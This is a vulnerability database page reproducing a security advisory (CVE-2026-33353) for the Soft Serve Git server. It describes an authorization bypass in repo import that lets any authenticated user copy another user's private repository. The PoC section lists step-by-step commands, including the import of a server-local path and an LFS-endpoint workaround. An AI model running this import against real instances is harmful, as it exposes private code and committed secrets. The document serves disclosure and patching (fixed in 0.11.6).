GHSA-XGXP-F695-6VRP

Vulnerability from github – Published: 2026-03-19 19:27 – Updated: 2026-03-27 21:58
VLAI?
Summary
In Soft Serve, an authenticated repo import can clone server-local private repositories
Details

Summary

An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details

Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.

The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is: - pkg/ssh/cmd/import.go - pkg/ssh/cmd/cmd.go:172 - pkg/backend/user.go:94 - pkg/backend/repo.go:102

PoC

Configuration: - Default local test configuration is sufficient. - SSH must be enabled. - At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo:

soft repo create secret -p
  1. Create a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"
  1. Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD
  1. Confirm the low-privilege user cannot access the private repo directly:
usoft repo info secret

Expected result:

Error: repository not found
  1. As the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com
  1. Clone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt

Expected result:

top secret

Notes: - The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact

This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties: - Operators hosting Soft Serve for multiple users or teams - Owners of private repositories on the same instance - Any deployment where untrusted authenticated users can use repo import

Practical impact: - Theft of private source code - Disclosure of secrets committed to private repos - Exposure of unreleased or internal projects - Possible follow-on supply-chain risk if stolen code contains credentials or release material

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/charmbracelet/soft-serve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33353"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:27:58Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn authorization flaw in `repo import` allows any authenticated SSH user to clone a server-local Git repository, including another user\u0027s private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.\n\n### Details\nRepo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172), which calls [`pkg/backend/user.go:46`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L46). If the destination repo does not already exist, any authenticated user is granted `ReadWriteAccess` at [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94).\n\nThe import command then passes the user-controlled `REMOTE` into [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102). In vulnerable `HEAD`, `git.Clone(remote, rp, copts)` is reached without validating that `remote` is actually a network remote. As a result, a user can supply a server filesystem path such as `$DATA_PATH/repos/secret.git` and cause the server to clone its own local bare repository into a new repo owned by the attacker.\n\nThe relevant vulnerable flow is:\n- [`pkg/ssh/cmd/import.go`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/import.go)\n- [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172)\n- [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94)\n- [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102)\n\n### PoC\nConfiguration:\n- Default local test configuration is sufficient.\n- SSH must be enabled.\n- At least two users are needed: one owner/admin and one low-privilege authenticated user.\n\nReproduction steps:\n1. Start Soft Serve.\n2. As an admin, create a private repo:\n\n```sh\nsoft repo create secret -p\n```\n\n3. Create a second low-privilege user:\n\n```sh\nsoft user create user1 --key \"$USER1_AUTHORIZED_KEY\"\n```\n\n4. Seed the private repo with secret content:\n\n```sh\ngit clone ssh://localhost:$SSH_PORT/secret secret\necho \u0027top secret\u0027 \u003e secret/SECRET.txt\ngit -C secret add SECRET.txt\ngit -C secret commit -m \u0027first\u0027\ngit -C secret push origin HEAD\n```\n\n5. Confirm the low-privilege user cannot access the private repo directly:\n\n```sh\nusoft repo info secret\n```\n\nExpected result:\n\n```text\nError: repository not found\n```\n\n6. As the low-privilege user, import the server-local bare repo path into a new repo:\n\n```sh\nusoft repo import stolen \"$DATA_PATH/repos/secret.git\" --lfs-endpoint http://example.com\n```\n\n7. Clone the attacker-controlled imported repo and read the secret:\n\n```sh\nugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone\ncat stolen-clone/SECRET.txt\n```\n\nExpected result:\n\n```text\ntop secret\n```\n\nNotes:\n- The `--lfs-endpoint` value is needed to avoid later LFS endpoint handling rejecting the local-path import.\n\n### Impact\nThis is an authorization bypass and confidentiality issue.\n\nAny authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.\n\nImpacted parties:\n- Operators hosting Soft Serve for multiple users or teams\n- Owners of private repositories on the same instance\n- Any deployment where untrusted authenticated users can use `repo import`\n\nPractical impact:\n- Theft of private source code\n- Disclosure of secrets committed to private repos\n- Exposure of unreleased or internal projects\n- Possible follow-on supply-chain risk if stolen code contains credentials or release material",
  "id": "GHSA-xgxp-f695-6vrp",
  "modified": "2026-03-27T21:58:26Z",
  "published": "2026-03-19T19:27:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-xgxp-f695-6vrp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33353"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/commit/c147421caf234bcfc1570c79d728ecbbe5813e55"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charmbracelet/soft-serve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "In Soft Serve, an authenticated repo import can clone server-local private repositories"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…